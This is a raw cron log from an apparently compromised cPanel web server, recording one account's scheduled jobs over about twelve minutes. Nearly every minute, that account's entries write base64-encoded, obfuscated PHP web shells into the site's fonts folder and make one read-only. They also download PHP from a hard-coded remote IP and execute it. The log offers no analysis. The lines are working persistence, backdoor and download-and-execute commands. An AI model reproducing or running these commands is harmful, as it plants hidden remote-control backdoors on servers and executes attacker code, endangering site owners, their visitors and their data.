Sep 11 10:21:01 ip-184-168-122-23 CROND[16016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:22:01 ip-184-168-122-23 CROND[16139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:22:01 ip-184-168-122-23 CROND[16142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:22:01 ip-184-168-122-23 CROND[16141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:22:01 ip-184-168-122-23 CROND[16144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:22:01 ip-184-168-122-23 CROND[16143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:23:01 ip-184-168-122-23 CROND[16260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:23:01 ip-184-168-122-23 CROND[16261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:23:01 ip-184-168-122-23 CROND[16263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:23:01 ip-184-168-122-23 CROND[16264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:24:01 ip-184-168-122-23 CROND[16472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:24:01 ip-184-168-122-23 CROND[16476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:24:01 ip-184-168-122-23 CROND[16474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:24:01 ip-184-168-122-23 CROND[16473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:24:01 ip-184-168-122-23 CROND[16475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:25:01 ip-184-168-122-23 CROND[16603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:25:01 ip-184-168-122-23 CROND[16608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:25:01 ip-184-168-122-23 CROND[16606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:25:01 ip-184-168-122-23 CROND[16609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:25:01 ip-184-168-122-23 CROND[16611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:25:01 ip-184-168-122-23 CROND[16605]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 10:25:01 ip-184-168-122-23 CROND[16607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:26:01 ip-184-168-122-23 CROND[16727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:26:01 ip-184-168-122-23 CROND[16729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:26:01 ip-184-168-122-23 CROND[16730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:26:01 ip-184-168-122-23 CROND[16732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:26:01 ip-184-168-122-23 CROND[16734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:27:01 ip-184-168-122-23 CROND[16833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:27:01 ip-184-168-122-23 CROND[16837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:27:01 ip-184-168-122-23 CROND[16835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:27:01 ip-184-168-122-23 CROND[16836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:28:01 ip-184-168-122-23 CROND[16914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:28:01 ip-184-168-122-23 CROND[16918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:28:01 ip-184-168-122-23 CROND[16915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:28:01 ip-184-168-122-23 CROND[16916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:28:01 ip-184-168-122-23 CROND[16917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:29:01 ip-184-168-122-23 CROND[17089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:29:01 ip-184-168-122-23 CROND[17090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:29:01 ip-184-168-122-23 CROND[17092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:29:01 ip-184-168-122-23 CROND[17091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:30:01 ip-184-168-122-23 CROND[17215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:30:01 ip-184-168-122-23 CROND[17216]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:30:01 ip-184-168-122-23 CROND[17222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:30:01 ip-184-168-122-23 CROND[17224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:30:01 ip-184-168-122-23 CROND[17221]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:30:01 ip-184-168-122-23 CROND[17220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:30:01 ip-184-168-122-23 CROND[17227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:30:01 ip-184-168-122-23 CROND[17226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:31:01 ip-184-168-122-23 CROND[17342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:31:01 ip-184-168-122-23 CROND[17343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:31:01 ip-184-168-122-23 CROND[17346]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 10:31:01 ip-184-168-122-23 CROND[17350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:31:01 ip-184-168-122-23 CROND[17349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:32:01 ip-184-168-122-23 CROND[17435]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:32:01 ip-184-168-122-23 CROND[17437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:32:01 ip-184-168-122-23 CROND[17440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:32:01 ip-184-168-122-23 CROND[17439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:32:01 ip-184-168-122-23 CROND[17438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:33:01 ip-184-168-122-23 CROND[17564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:33:01 ip-184-168-122-23 CROND[17565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:33:01 ip-184-168-122-23 CROND[17566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:33:01 ip-184-168-122-23 CROND[17570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
